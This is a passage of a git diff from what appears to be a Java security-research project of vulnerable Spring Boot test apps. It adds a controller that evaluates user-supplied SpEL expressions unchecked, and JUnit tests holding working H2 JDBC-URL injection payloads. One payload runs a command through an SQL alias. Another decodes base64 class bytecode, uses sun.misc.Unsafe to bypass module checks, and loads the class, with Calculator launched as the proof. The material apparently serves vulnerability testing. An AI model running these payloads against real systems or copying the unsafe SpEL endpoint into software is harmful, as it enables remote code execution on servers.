org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/spel") +public class SpELController { + + /** + * 10000 长度限制,无法使用 + */ + @PostMapping + public ResponseEntity spel(String data) { + return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext()))); + } +} diff --git a/vul/vul-springboot359/src/main/resources/application.properties b/vul/vul-springboot359/src/main/resources/application.properties new file mode 100644 index 00000000..a83ba03e --- /dev/null +++ b/vul/vul-springboot359/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot3 diff --git a/vul/vul-springboot359/src/test/java/CommandExec.java b/vul/vul-springboot359/src/test/java/CommandExec.java new file mode 100644 index 00000000..c708f1b2 --- /dev/null +++ b/vul/vul-springboot359/src/test/java/CommandExec.java @@ -0,0 +1,15 @@ +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class CommandExec { + static { + try { + java.lang.Runtime.getRuntime().exec("open -a Calculator"); + } catch (IOException e) { + + } + } +} diff --git a/vul/vul-springboot359/src/test/java/JDBCTest.java b/vul/vul-springboot359/src/test/java/JDBCTest.java new file mode 100644 index 00000000..02eb7ae2 --- /dev/null +++ b/vul/vul-springboot359/src/test/java/JDBCTest.java @@ -0,0 +1,54 @@ +import com.reajason.javaweb.vul.springboot3.controller.JDBCController; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class JDBCTest { + + @Test + void testJDBC() throws Exception { + JDBCController jdbcController = new JDBCController(); + String funcionName = "testJDBC"; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" + + "String shellexec(String abc) throws java.lang.Exception{" + + "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" + + "return \"test\"\\;" + + "}'\\;" + + "CALL " + funcionName + "('123')"; + jdbcController.JDBC(str); + } + + @Test + void testJDBC2() throws Exception { + JDBCController jdbcController = new JDBCController(); + String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw=="; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" + + "String a(String a) throws java.lang.Throwable{" + + "String base64Str=\"" + b64Bytecode + "\"\\;" + + "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" + + "try {" + + " java.lang.Class unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" + + " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" + + " unsafeField.setAccessible(true)\\;" + + " java.lang.Object unsafe = unsafeField.get(null)\\;" + + " java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" + + " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" + + " long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" + + " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" + + " java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" + + " java.lang.Class callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" + + " getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" + + "} catch (Throwable e) {}" + + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + + "defMethod.setAccessible(true)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "myclass.newInstance()\\;" + + "return null\\;" + + "}'\\;" + + "CALL look('')"; + System.out.println(str); + jdbcController.JDBC(str); + } +}